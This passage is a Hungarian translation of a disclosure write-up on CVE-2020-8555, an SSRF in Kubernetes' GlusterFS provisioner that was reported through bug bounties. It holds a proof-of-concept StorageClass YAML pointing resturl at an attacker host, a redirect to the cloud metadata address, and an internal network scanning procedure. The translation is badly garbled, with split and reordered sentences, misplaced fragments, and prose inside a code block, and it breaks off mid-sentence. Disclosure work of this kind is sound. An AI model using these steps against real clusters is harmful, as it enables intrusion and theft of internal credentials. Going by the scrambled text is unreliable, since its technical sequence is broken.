{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Megjegyz\u00e9s ford\u00edt\u00e1s.<\/b>: a cikk szerz\u0151i r\u00e9szletesen elmondj\u00e1k, hogyan fedezt\u00e9k fel a s\u00e9r\u00fcl\u00e9kenys\u00e9get <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> a Kubernetesben. B\u00e1r kezdetben nem t\u0171nt t\u00fal vesz\u00e9lyesnek, m\u00e1s t\u00e9nyez\u0151kkel kombin\u00e1lva bizonyos felh\u0151szolg\u00e1ltat\u00f3k eset\u00e9n a kritikus szintje maxim\u00e1lisnak bizonyult. A szakembercsoport \u00e1ltal v\u00e9gzett munka miatt t\u00f6bb szervezet is b\u0151s\u00e9gesen megjutalmazta \u0151ket.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kik vagyunk mi<\/h2>\n<p>\nK\u00e9t francia biztons\u00e1gi kutat\u00f3 vagyunk, akik k\u00f6z\u00f6sen fedezt\u00e9k fel a Kubernetes s\u00e9r\u00fcl\u00e9kenys\u00e9g\u00e9t. Brice Augras \u00e9s Christophe Hauquiert vagyunk, de sok Bug Bounty-platformon Reeverzax \u00e9s Hach n\u00e9ven is ismernek minket:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 a Nokia Kubernetes \u00e9p\u00edt\u00e9sze.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Mi t\u00f6rt\u00e9nt?<\/h2>\n<p>\nEz a cikk a m\u00f3dja annak, hogy elmondjuk, hogyan alakult \u00e1t egy tipikus kutat\u00e1si projekt v\u00e1ratlanul a hibavad\u00e1szok \u00e9let\u00e9nek legizgalmasabb kalandj\u00e1v\u00e1 (legal\u00e1bbis eddig).<\/p>\n<p>Ahogy val\u00f3sz\u00edn\u0171leg tudj\u00e1k, a hibavad\u00e1szoknak van n\u00e9h\u00e1ny figyelemre m\u00e9lt\u00f3 jellemz\u0151je:<\/p>\n<ul>\n<li> pizza \u00e9s s\u00f6r az \u00e9trendj\u00fck;<\/li>\n<li> akkor dolgoznak, amikor mindenki m\u00e1s alszik.<\/li>\n<\/ul>\n<p>\nMi sem vagyunk kiv\u00e9telek ebb\u0151l a szab\u00e1lyb\u00f3l: \u00e1ltal\u00e1ban h\u00e9tv\u00e9genk\u00e9nt tal\u00e1lkozunk, \u00e9s \u00e1lmatlan hacker \u00e9jszak\u00e1kat t\u00f6lt\u00fcnk. De egyik ilyen \u00e9jszaka meglehet\u0151sen szokatlanul \u00e9rt v\u00e9get.<\/p>\n<p>Eredetileg az\u00e9rt \u00fclt\u00fcnk \u00f6ssze, hogy \u00e1tbesz\u00e9lj\u00fck a r\u00e9szv\u00e9telt a <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> m\u00e1snap. A Kubernetes biztons\u00e1g\u00e1r\u00f3l folytatott besz\u00e9lget\u00e9s k\u00f6zben esz\u00fcnkbe jutott egy r\u00e9gi \u00f6tlet, az SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) \u00e9s \u00fagy d\u00f6nt\u00f6tt\u00fcnk, megpr\u00f3b\u00e1ljuk haszn\u00e1lni t\u00e1mad\u00e1si forgat\u00f3k\u00f6nyvk\u00e9nt.<\/p>\n<p>Este 11-kor kezdt\u00fcnk el kutatni, \u00e9s kor\u00e1n reggel ment\u00fcnk aludni, el\u00e9gedetten a eredm\u00e9nyeinkkel. Ezek a kutat\u00e1sok vezettek minket a MSRC Bug Bounty programhoz \u00e9s egy privilegiz\u00e1lt eskal\u00e1ci\u00f3s exploit kital\u00e1l\u00e1s\u00e1hoz.<\/p>\n<p>N\u00e9h\u00e1ny h\u00e9t\/h\u00f3nap eltelt\u00e9vel v\u00e1ratlan eredm\u00e9ny\u00fcnk t\u00f6rt\u00e9net\u00e9nek egyik legmagasabb d\u00edj\u00e1t nyert\u00fck el az Azure Cloud Bug Bounty keret\u00e9ben \u2014 a Kubernetes-t\u0151l kapott d\u00edj mell\u00e9!<\/p>\n<p>Kutat\u00e1si projekt\u00fcnk alapj\u00e1n a Kubernetes Product Security Committee k\u00f6zz\u00e9tette <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Most szeretn\u00e9nk min\u00e9l t\u00f6bb inform\u00e1ci\u00f3t terjeszteni az \u00e1ltalunk felfedezett s\u00e9r\u00fcl\u00e9kenys\u00e9gr\u0151l. Rem\u00e9lj\u00fck, hogy \u00e9rt\u00e9kelni fogj\u00e1k a felfedez\u00e9st, \u00e9s megosztj\u00e1k a m\u0171szaki r\u00e9szleteket m\u00e1s infosec k\u00f6z\u00f6ss\u00e9g tagjaival!<\/p>\n<p>Teh\u00e1t, ez a mi t\u00f6rt\u00e9net\u00fcnk\u2026<\/p>\n<h2>K\u00f6rnyezet<\/h2>\n<p>\nA maxim\u00e1lis \u00e9rtelemben, hogy meg\u00e9rts\u00fck, mi t\u00f6rt\u00e9nt, el\u0151sz\u00f6r n\u00e9zz\u00fck meg, hogyan m\u0171k\u00f6dik a Kubernetes egy felh\u0151alap\u00fa, kezelt k\u00f6rnyezetben.<\/p>\n<p>Amikor egy Kubernetes klaszter p\u00e9ld\u00e1nyt hoz l\u00e9tre egy ilyen k\u00f6rnyezetben, a vez\u00e9rl\u0151r\u00e9teg m\u0171k\u00f6d\u00e9s\u00e9\u00e9rt \u00e1ltal\u00e1ban a felh\u0151szolg\u00e1ltat\u00f3 felel.<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A vez\u00e9rl\u0151r\u00e9teg a felh\u0151szolg\u00e1ltat\u00f3 perem\u00e9n helyezkedik el, m\u00edg a Kubernetes csom\u00f3pontok a kliens perem\u00e9n tal\u00e1lhat\u00f3k.<\/i><\/p>\n<p>Dinamiku sver\u00e9sekhez, k\u00fcls\u0151 storage-b\u00e9ka h\u00e1tt\u00e9rb\u0151l t\u00f6rt\u00e9n\u0151 dinamikus biztos\u00edt\u00e1st \u00e9s PVC-vel (persistent volume claim) val\u00f3 \u00f6sszekapcsol\u00e1s\u00e1t alkalmazzuk.<\/p>\n<p>Ez\u00e9rt, miut\u00e1n a PVC l\u00e9trej\u00f6tt \u00e9s hozz\u00e1rendel\u0151d\u00f6tt egy StorageClass-hoz a K8s klaszterben, a tov\u00e1bbi teend\u0151ket a kube\/cloud controller manager veszi \u00e1t (a pontos neve a kiad\u00e1st\u00f3l f\u00fcgg). <i>(<b>Megjegyz\u00e9s ford\u00edt\u00e1s.<\/b>: A CCM-r\u0151l a p\u00e9ld\u00e1n kereszt\u00fcl, amely az egyik felh\u0151szolg\u00e1ltat\u00f3 megval\u00f3s\u00edt\u00e1s\u00e1t mutatja be, m\u00e1r \u00edrtunk. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">itt<\/a><\/noindex>.)<\/i><\/p>\n<p>T\u00f6bbf\u00e9le provisioner l\u00e9tezik, amelyek a Kubernetes-t t\u00e1mogatj\u00e1k: ezek k\u00f6z\u00fcl a t\u00f6bbs\u00e9g be van \u00e9p\u00edtve. <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">az orkestr\u00e1tor magj\u00e1ba,<\/a><\/noindex>, m\u00edg m\u00e1sok tov\u00e1bbi provisionerek kezelnek, amelyeket podokban helyeznek el a klaszterben.<\/p>\n<p>Kutat\u00e1sunk sor\u00e1n a t\u00e9rfogat biztos\u00edt\u00e1s\u00e1nak bels\u0151 mechanizmus\u00e1ra \u00f6sszpontos\u00edtottunk, amely az al\u00e1bbiakban l\u00e1that\u00f3:<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dinamikus t\u00e1rol\u00f3k biztos\u00edt\u00e1sa a Kubernetes be\u00e9p\u00edtett provisionere seg\u00edts\u00e9g\u00e9vel.<\/i><\/p>\n<p>R\u00f6viden, amikor a Kubernetes egy menedzselt k\u00f6rnyezetben van telep\u00edtve, a controller manager m\u0171k\u00f6d\u00e9s\u00e9t a felh\u0151szolg\u00e1ltat\u00f3 felel, de a t\u00e1rol\u00f3 l\u00e9trehoz\u00e1s\u00e1ra ir\u00e1nyul\u00f3 k\u00e9r\u00e9s (a fent eml\u00edtett 3. sz\u00e1m\u00fa k\u00e9r\u00e9s) elhagyja a felh\u0151szolg\u00e1ltat\u00f3 bels\u0151 h\u00e1l\u00f3zat\u00e1nak hat\u00e1rait. Itt v\u00e1lik igaz\u00e1n \u00e9rdekess\u00e9 a helyzet!<\/p>\n<h2>Bet\u00f6r\u00e9si forgat\u00f3k\u00f6nyv<\/h2>\n<p>\nEbben a r\u00e9szben bemutatjuk, hogyan haszn\u00e1ltuk fel a fent eml\u00edtett munkafolyamatot, \u00e9s hogyan jutottunk hozz\u00e1 a felh\u0151szolg\u00e1ltat\u00f3 bels\u0151 er\u0151forr\u00e1saihoz. Emellett azt is bemutatjuk, hogyan v\u00e9gezhet\u00fcnk el bizonyos m\u0171veleteket \u2014 mint p\u00e9ld\u00e1ul bels\u0151 hiteles\u00edt\u00e9si adatok megszerz\u00e9se vagy privil\u00e9giumok felnagy\u00edt\u00e1sa.<\/p>\n<p>Egy egyszer\u0171 manipul\u00e1ci\u00f3 (ebben az esetben Service Side Request Forgery) seg\u00edtett \u00e1tl\u00e9pni a kliens k\u00f6rnyezet\u00e9n a k\u00fcl\u00f6nb\u00f6z\u0151 szolg\u00e1ltat\u00f3k \u00e1ltal kezelt K8s klasztereken.<\/p>\n<p>A kutat\u00e1saink sor\u00e1n a GlusterFS provisioner\u00e9re \u00f6sszpontos\u00edtottunk. B\u00e1r a tov\u00e1bbi cselekv\u00e9sek ebben a kontextusban vannak le\u00edrva, ez a sebezhet\u0151s\u00e9g a Quobyte-t, StorageOS-t \u00e9s ScaleIO-t is \u00e9rinti.<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A dinamikus k\u00f6tetkiad\u00e1s mechanizmusa vissza\u00e9l\u00e9se<\/i><\/p>\n<p>a t\u00e1rol\u00f3oszt\u00e1ly elemz\u00e9sekor <b>GlusterFS<\/b> a Golang kliens forr\u00e1saiban mi <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">\u00e9szrevett\u00fck<\/a><\/noindex>, hogy az els\u0151 HTTP-k\u00e9relem (3), amelyet a k\u00f6tet l\u00e9trehoz\u00e1sa sor\u00e1n k\u00fcldtek, a felhaszn\u00e1l\u00f3i URL v\u00e9g\u00e9n a <code>resturl<\/code> a szok\u00e1sos kont\u00e9nerhez hasonl\u00f3 inform\u00e1ci\u00f3kat <code>\/volumes<\/code>.<\/p>\n<p>param\u00e9terbe val\u00f3 beilleszt\u00e9s\u00e9vel j\u00f6tt el\u0151. <code>#<\/code> Ez\u00e9rt d\u00f6nt\u00f6tt\u00fcnk \u00fagy, hogy elt\u00e1vol\u00edtjuk ezt a plusz utat a <code>resturl<\/code>. \u00cdme az els\u0151 YAML-konfigur\u00e1ci\u00f3, amelyet a \"f\u00e9lvak\" SSRF-s\u00e9r\u00fcl\u00e9kenys\u00e9g ellen\u0151rz\u00e9s\u00e9re haszn\u00e1ltunk. <i>(a f\u00e9lvak SSRF-r\u0151l r\u00e9szletesebben olvashat p\u00e9ld\u00e1ul <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">itt<\/a><\/noindex> \u2014 a ford\u00edt\u00f3 megjegyz\u00e9se)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nEzut\u00e1n a Kubernetes klaszter t\u00e1voli kezel\u00e9s\u00e9hez a bin\u00e1rist haszn\u00e1ltuk. <b>kubectl<\/b>\u00c1ltal\u00e1ban a felh\u0151szolg\u00e1ltat\u00f3k (Azure, Google, AWS stb.) lehet\u0151v\u00e9 teszik az ehhez a seg\u00e9dprogramhoz sz\u00fcks\u00e9ges hiteles\u00edt\u0151 adatok megszerz\u00e9s\u00e9t.<\/p>\n<p>Ez\u00e9rt siker\u00fclt alkalmazni a \"k\u00fcl\u00f6nleges\" f\u00e1jlunkat. A kube-controller-manager v\u00e9grehajtotta az eredm\u00e9ny\u00fcl kapott HTTP-k\u00e9relmet:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A t\u00e1mad\u00f3 szempontj\u00e1b\u00f3l<\/i><\/p>\n<p>N\u00e9h\u00e1ny perccel k\u00e9s\u0151bb HTTP-v\u00e1laszt is kaptunk a c\u00e9l szerverr\u0151l \u2013 a <code>describe pvc<\/code> vagy <code>get events<\/code> kubectl parancsokkal. \u00c9s val\u00f3ban: ez a Kubernetes illeszt\u0151program alap\u00e9rtelmez\u00e9s szerint t\u00fal besz\u00e9des a figyelmeztet\u00e9seiben\/hiba\u00fczeneteiben...<\/p>\n<p>\u00cdme egy p\u00e9lda egy linkre, <code>https:\/\/www.google.fr<\/code>amelyet param\u00e9terk\u00e9nt \u00e1ll\u00edtottunk be. <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# vagy haszn\u00e1lhatja a kubectl get events parancsot.<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEz a megk\u00f6zel\u00edt\u00e9s alapj\u00e1n korl\u00e1tozottak voltunk az <b>HTTP POST<\/b> t\u00edpus\u00fa k\u00e9r\u00e9sekre, \u00e9s nem tudtuk megszerezni a v\u00e1lasz t\u00f6rzs\u00e9t, ha a visszat\u00e9r\u00e9si k\u00f3d <b>201<\/b>volt. Ez\u00e9rt \u00fagy d\u00f6nt\u00f6tt\u00fcnk, hogy tov\u00e1bbi kutat\u00e1sokat v\u00e9gz\u00fcnk, \u00e9s \u00faj megk\u00f6zel\u00edt\u00e9sekkel b\u0151v\u00edtj\u00fck a felt\u00f6r\u00e9si forgat\u00f3k\u00f6nyvet.<\/p>\n<h2>Kutat\u00e1saink evol\u00faci\u00f3ja<\/h2>\n<p><\/p>\n<ul>\n<li> Halad\u00f3 forgat\u00f3k\u00f6nyv #1: A k\u00fcls\u0151 szerver 302-es \u00e1tir\u00e1ny\u00edt\u00e1s\u00e1nak haszn\u00e1lata az HTTP-m\u00f3dszer megv\u00e1ltoztat\u00e1s\u00e1ra, hogy rugalmasabb m\u00f3dot ny\u00fajtson a bels\u0151 adatok gy\u0171jt\u00e9s\u00e9re.<\/li>\n<li> Halad\u00f3 forgat\u00f3k\u00f6nyv #2: A LAN automatiz\u00e1lt felt\u00e9rk\u00e9pez\u00e9se \u00e9s a bels\u0151 er\u0151forr\u00e1sok felfedez\u00e9se.<\/li>\n<li> Halad\u00f3 forgat\u00f3k\u00f6nyv #3: HTTP CRLF + smuggling (a k\u00e9rd\u00e9sek \"csemp\u00e9sz\u00e9se\") haszn\u00e1lata az egyedi HTTP-k\u00e9r\u00e9sek l\u00e9trehoz\u00e1s\u00e1hoz \u00e9s az kube-controller logjaib\u00f3l kinyert adatok megszerz\u00e9s\u00e9hez.<\/li>\n<\/ul>\n<p><\/p>\n<h3>M\u0171szaki specifik\u00e1ci\u00f3k<\/h3>\n<p><\/p>\n<ul>\n<li> A kutat\u00e1sok sor\u00e1n az Azure Kubernetes Service-t (AKS) haszn\u00e1lt\u00e1k a Kubernetes 1.12-es verzi\u00f3j\u00e1val \u00c9szak-Eur\u00f3p\u00e1ban.<\/li>\n<li> A fent eml\u00edtett forgat\u00f3k\u00f6nyveket a Kubernetes legutols\u00f3 kiad\u00e1saiban hajtott\u00e1k v\u00e9gre, kiv\u00e9ve a harmadik forgat\u00f3k\u00f6nyvet, mivel ez Kubernetes-t ig\u00e9nyelt, amelyet Golang \u2264 1.12 verzi\u00f3val \u00e1ll\u00edtottak \u00f6ssze.<\/li>\n<li> A t\u00e1mad\u00f3 k\u00fcls\u0151 szervere \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fejlett forgat\u00f3k\u00f6nyv 1: HTTP POST k\u00e9r\u00e9s \u00e1tir\u00e1ny\u00edt\u00e1sa GET k\u00e9r\u00e9sre \u00e9s bizalmas adatok megszerz\u00e9se<\/h3>\n<p>\nAz alapvet\u0151 m\u00f3dszert a t\u00e1mad\u00f3 szerver konfigur\u00e1l\u00e1s\u00e1val jav\u00edtott\u00e1k, hogy visszat\u00e9rjen <b>302 HTTP Retcode<\/b>, hogy a POST k\u00e9r\u00e9st GET k\u00e9r\u00e9sre alak\u00edtsa (4. l\u00e9p\u00e9s a diagramon):<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAz els\u0151 k\u00e9r\u00e9s (3), amely a klienst\u0151l \u00e9rkezik <b>GlusterFS<\/b> (Controller Manager), POST t\u00edpus\u00fa. Az al\u00e1bbi l\u00e9p\u00e9sek v\u00e9grehajt\u00e1s\u00e1val siker\u00fclt azt GET-t\u00e9 alak\u00edtanunk:<\/p>\n<ul>\n<li> Mint param\u00e9ter <code>resturl<\/code> a StorageClass-ban meg van adva <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Az Endpoint 302-es HTTP st\u00e1tusz k\u00f3ddal v\u00e1laszol a k\u00f6vetkez\u0151 Location fejl\u00e9csel: <code>https:\/\/attacker.com\/redirect.php<\/code> HTTP 302-es st\u00e1tuszk\u00f3dot ad vissza a k\u00f6vetkez\u0151 Location Headerrel: <code>http:\/\/169.254.169.254<\/code>net\/http k\u00f6nyvt\u00e1r<\/li>\n<li> m\u00e1r tartalmaz egy el\u0151re l\u00e9trehozott \u00f6nal\u00e1\u00edrt TLS\/SSL tan\u00fas\u00edtv\u00e1nyt. Ennyi nekem elegend\u0151, mivel z\u00e1rva tartom a k\u00fcls\u0151 hozz\u00e1f\u00e9r\u00e9st. Azoknak, akik m\u00e1s t\u00edpus\u00fa tan\u00fas\u00edtv\u00e1nyokat szeretn\u00e9nek haszn\u00e1lni, van <b>A Golang \u00e1tir\u00e1ny\u00edtja a k\u00e9r\u00e9st \u00e9s a POST-ot GET-t\u00e9 alak\u00edtja 302-es st\u00e1tusz k\u00f3ddal, amelynek k\u00f6vetkezt\u00e9ben a c\u00e9lforr\u00e1shoz HTTP GET k\u00e9r\u00e9s \u00e9rkezik.<\/b> A Golang \u00e1tir\u00e1ny\u00edtja a k\u00e9r\u00e9st \u00e9s a POST-ot GET-re konvert\u00e1lja a 302-es st\u00e1tuszk\u00f3ddal, ennek k\u00f6vetkezt\u00e9ben a c\u00e9l er\u0151forr\u00e1s egy HTTP GET k\u00e9r\u00e9st kap.<\/li>\n<\/ul>\n<p>\nPVC objektum: <code>describe<\/code> kubectl describe pvc xxx<\/p>\n<pre><code class=\"bash\">Itt egy p\u00e9lda HTTP v\u00e1laszra JSON form\u00e1tumban, amelyet siker\u00fclt megszerezn\u00fcnk:<\/code><\/pre>\n<p>\nA felfedezett sebezhet\u0151s\u00e9g lehet\u0151s\u00e9gei akkoriban korl\u00e1tozottak voltak a k\u00f6vetkez\u0151 okok miatt:<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHTTP-fejl\u00e9cek beilleszt\u00e9s\u00e9nek lehetetlens\u00e9ge a kimen\u0151 k\u00e9r\u00e9sbe.<\/p>\n<ul>\n<li> A POST k\u00e9r\u00e9s v\u00e9grehajt\u00e1s\u00e1nak lehetetlens\u00e9ge param\u00e9terekkel a t\u00f6rzsben (\u00edgy k\u00f6nnyen k\u00e9rdezheti le a kulcs \u00e9rt\u00e9k\u00e9t az etcd p\u00e9ld\u00e1nyt\u00f3l, amely<\/li>\n<li> nyitott porttal m\u0171k\u00f6dik, ha nem titkos\u00edtott HTTP-t haszn\u00e1lnak). <b>2379<\/b> A v\u00e1lasz t\u00f6rzs\u00e9nek tartalm\u00e1nak megszerz\u00e9s\u00e9nek lehetetlens\u00e9ge, amikor a st\u00e1tusz k\u00f3d 200 volt, \u00e9s a v\u00e1lasz nem rendelkezett JSON Content-Type-t.<\/li>\n<li> Fejlett forgat\u00f3k\u00f6nyv 2: helyi h\u00e1l\u00f3zat beolvas\u00e1sa<\/li>\n<\/ul>\n<p><\/p>\n<h3>Ezt a half-blind SSRF m\u00f3dszert ezut\u00e1n a felh\u0151szolg\u00e1ltat\u00f3 bels\u0151 h\u00e1l\u00f3zat\u00e1nak beolvas\u00e1s\u00e1ra haszn\u00e1lt\u00e1k, k\u00fcl\u00f6nf\u00e9le hallgat\u00f3 szolg\u00e1ltat\u00e1sok (Metadata p\u00e9ld\u00e1ny, Kubelet, etcd stb.) megk\u00e9rdez\u00e9s\u00e9re a v\u00e1laszok alapj\u00e1n<\/h3>\n<p>\na kube-controller <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEl\u0151sz\u00f6r a Kubernetes komponensek standard hallgat\u00f3portjait (8443, 10250, 10251 stb.) hat\u00e1rozt\u00e1k meg, majd az ellen\u0151rz\u00e9si folyamat automatiz\u00e1l\u00e1s\u00e1ra ker\u00fclt sor.<\/p>\n<p>L\u00e1tva, hogy ez a m\u00f3dszer az er\u0151forr\u00e1sok szkennel\u00e9s\u00e9re nagyon specifikus \u00e9s nem kompatibilis a klasszikus szkennerekkel \u00e9s SSRF eszk\u00f6z\u00f6kkel, \u00fagy d\u00f6nt\u00f6tt\u00fcnk, hogy l\u00e9trehozunk saj\u00e1t bash-script worker-\u00f6ket, amelyek automatiz\u00e1lj\u00e1k az eg\u00e9sz folyamatot.<\/p>\n<p>P\u00e9ld\u00e1ul, hogy gyorsabban ellen\u0151rizz\u00fck a 172.16.0.0\/12 bels\u0151 h\u00e1l\u00f3zati tartom\u00e1nyt, p\u00e1rhuzamosan 15 worker-t ind\u00edtottunk. A fent eml\u00edtett IP-tartom\u00e1ny csak p\u00e9ldak\u00e9nt szolg\u00e1l, \u00e9s m\u00f3dos\u00edthat\u00f3 a konkr\u00e9t szolg\u00e1ltat\u00f3 IP-tartom\u00e1ny\u00e1ra.<\/p>\n<p>Egy IP-c\u00edm \u00e9s egy port szkennel\u00e9s\u00e9hez a k\u00f6vetkez\u0151t kell tenni:<\/p>\n<ul>\n<li> t\u00f6r\u00f6lni a legut\u00f3bb ellen\u0151rz\u00f6tt StorageClass-t;<\/li>\n<li> t\u00f6r\u00f6lni az el\u0151z\u0151leg ellen\u0151rz\u00f6tt Persistent Volume Claim-et;<\/li>\n<li> meg v\u00e1ltoztatni az IP \u00e9s Port \u00e9rt\u00e9keket a <code>sc.yaml<\/code>;<\/li>\n<li> \u00faj StorageClass-t kell l\u00e9trehozni az \u00faj IP-vel \u00e9s porttal;<\/li>\n<li> \u00faj PVC-t kell l\u00e9trehozni;<\/li>\n<li> az eredm\u00e9nyek kinyer\u00e9se a PVC describe-ja r\u00e9v\u00e9n.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Halad\u00f3 forgat\u00f3k\u00f6nyv \u21163: CRLF injekci\u00f3 + HTTP smuggling az \u00ab\u00f6reg\u00bb Kubernet-es verzi\u00f3kban<\/h3>\n<p>\nHa emellett a szolg\u00e1ltat\u00f3 r\u00e9gebbi K8s cluster verzi\u00f3kat k\u00edn\u00e1lta az \u00fcgyfeleknek, <b>\u00e9s<\/b> \u00e9s hozz\u00e1f\u00e9r\u00e9st adott a kube-controller-manager napl\u00f3ihoz, a hat\u00e1s m\u00e9g jelent\u0151sebb volt.<\/p>\n<p>A t\u00e1mad\u00f3 sz\u00e1m\u00e1ra sokkal k\u00e9nyelmesebb megv\u00e1ltoztatni az \u00e1ltala t\u00edpus\u00fa HTTP-k\u00e9r\u00e9seket, amelyek teljes HTTP-v\u00e1laszokat eredm\u00e9nyeznek.<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAz utols\u00f3 forgat\u00f3k\u00f6nyv megval\u00f3s\u00edt\u00e1s\u00e1hoz a k\u00f6vetkez\u0151 felt\u00e9teleknek kellett teljes\u00fclni\u00fck:<\/p>\n<ul>\n<li> A felhaszn\u00e1l\u00f3nak hozz\u00e1f\u00e9r\u00e9ssel kell rendelkeznie a kube-controller-manager napl\u00f3ihoz (mint p\u00e9ld\u00e1ul Azure LogInsights-ban).<\/li>\n<li> A Kubernetes cluster-nek a Golang 1.12 alatti verzi\u00f3j\u00e1t kell haszn\u00e1lnia.<\/li>\n<\/ul>\n<p>\nHelyi k\u00f6rnyezetet \u00e1ll\u00edtottunk fel, amely a Go-\u00fcgyf\u00e9l \u00e9s egy hamis c\u00e9lkiszolg\u00e1l\u00f3 k\u00f6z\u00f6tti adatcser\u00e9t imit\u00e1lta (jelenleg tart\u00f3zkodunk a PoC k\u00f6zz\u00e9t\u00e9tel\u00e9t\u0151l).<\/p>\n<p>Felfedez\u00e9sre ker\u00fclt <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerability<\/a><\/noindex>, amely a Golang 1.12 alatti verzi\u00f3kat \u00e9rintette, \u00e9s lehet\u0151v\u00e9 tette a hackerek sz\u00e1m\u00e1ra a HTTP smuggling\/CRLF t\u00e1mad\u00e1sok v\u00e9grehajt\u00e1s\u00e1t.<\/p>\n<p>Az el\u0151bb eml\u00edtett half-blind SSRF-t <b>egy\u00fctt<\/b> ezzel kombin\u00e1lva k\u00e9pesek voltunk az ig\u00e9nyeink szerint k\u00e9rd\u00e9seket 